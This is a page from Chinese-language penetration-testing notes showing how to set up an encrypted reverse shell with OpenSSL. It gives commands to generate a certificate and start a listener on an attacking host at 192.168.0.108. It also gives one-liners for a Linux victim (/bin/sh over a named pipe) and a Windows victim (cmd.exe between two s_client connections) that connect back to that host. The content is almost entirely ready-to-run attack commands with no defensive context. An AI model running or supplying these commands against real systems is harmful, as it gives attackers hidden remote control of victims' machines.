# Openssl

```
生成证书
>openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/189.png)

**Linux**

```
监听
>openssl s_server -quiet -key key.pem -cert cert.pem -port 1337
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/190.png)

```
靶机执行
>mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.0.108:1337 > /tmp/s; rm /tmp/s
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/191.png)

```
此方式使用TLS1.2 协议对通信进行加密
```

**Windows**

```
攻击机需监听2个端口，一个端口发送命令，一个端口接收回显
发送
>openssl s_server -quiet -key key.pem -cert cert.pem -port 1337
接收
>openssl s_server -quiet -key key.pem -cert cert.pem -port 1338
靶机执行
>openssl s_client -quiet -connect 192.168.0.108:1337|cmd.exe|openssl s_client -quiet -connect 192.168.0.108:1338
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/192.png) ![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/193.png) ![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/194.png)


---

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